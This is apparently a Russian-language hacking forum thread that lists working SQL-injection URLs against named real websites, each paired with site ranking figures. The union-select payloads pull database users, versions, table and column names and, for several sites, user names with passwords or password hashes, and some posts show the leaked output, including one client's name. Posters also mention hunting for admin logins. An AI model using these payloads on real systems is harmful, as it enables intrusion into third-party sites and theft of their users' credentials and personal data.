SQL Инъекции

Code:

http://zenit.nevasport.ru/text.php?id=-13%27+union+select+1,group_concat%280x3a,table_name%29,3,concat_ws%280x3a,database%28%29,user%28%29,version%28%29%29,5+from+information_schema.tables+--+

PR - 4
ТИЦ - 50

 

PR 4

Code:

http://rent4day.am/info.php?lang=3&id=999999999+union+select+1,2,3,4,5,6,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,8,9,10,11,12,13,14,15,16,17,18,19,20--

rent4day_rent@localhost:rent4day_rent4day:5.0.92-community-log
Таблицы

Code:

http://www.rent4day.am/info.php?lang=3&id=999999999+union+select+1,2,3,4,5,6,GrOuP_CoNcat%28table_name%29,8,9,10,11,12,13,14,15,16,17,18,19,20+FROM%20INFORMATION_SCHEMA.TABLES%20--

 

4.1.25-log

 

Code:

http://www.desktopmachine.com/framepic.php?id=2390+union+select+1,2,3,4,5,6,7,8,9,10,11,cast%28concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29%20as%20binary%29,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--&size=1024

desktop@localhost:4.1.14:desktop

Google PR: 4

 

сори за оффтоп)
исправляюсь:

Траф = 4К

 

4 символа

 

PR 4
тИЦ 190

 

Раскрутил

Code:

http://estpovod.ru/games.php?target=section&id=9999999+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--

Code:

http://estpovod.ru/games.php?target=section&id=9999999+union+select+group_concat%28table_name%29+from+information_schema.tables--

 

PR 4
тИЦ 150

 

PR 4
тИЦ 600

 

Code:

http://libinfo.org/index.php?id=-8787+union+select+1,2,3,4,5,concat_ws%280x0b,name,0x3a,pass%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+users+--+

ТИЦ - 30
PR - 4

Code:

http://www.toramp.com/tnews.php?id=-16%27+union+select+1,2,3,group_concat%280x0b,username,0x3a,passhash%29,5,6,7,8,9,10,11+from+users+--+

 

ТИЦ - 110
PR - 6

PS: Этим способом эксплуатируется, но очень туго. Ищу другой вариант

 

Логин от админки не нашёл(

 

PR 6
тИЦ 10

 

PR 5

 

PR 6

 

PR 7
тИЦ 10

 

mixfevers.com

Code:

http://www.mixfevers.com/page.php?PageType=[COLOR=Magenta]-9999999'+UNION+SELECT+1,2,CONCAT_WS('-',USER(),VERSION(),DATABASE())+--+[/COLOR]

[email protected]_pages
...очень много понятных и не очень таблиц, а толку никакого... есть что-то вроде самопальной системы биллинга...

Code:

http://mixfevers.com/clientlogin.php

...в которой "живет" один клиент... =]
ID=1 Trey Alexander [email protected]

 

Code:

http://www.cryptocrat.com/show_node.php?id=-40%27+union+select+1,2,group_concat%28column_name%29,4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x7573657273+--+

Code:

http://pisateli.co.ua/page.php?id=-383%27+union+select+1,group_concat%28email,0x3a,password%29,3,4+from+kiev_forum_users+--+

Code:

http://shake.metroland.ru/drink/view_drink.php?id=-6%27+union+select+1,group_concat%28database%28%29,version%28%29,user%28%29%29,3,4,5,6,7+--+

 

PR=5
TYC=10
Alexa=3,358,182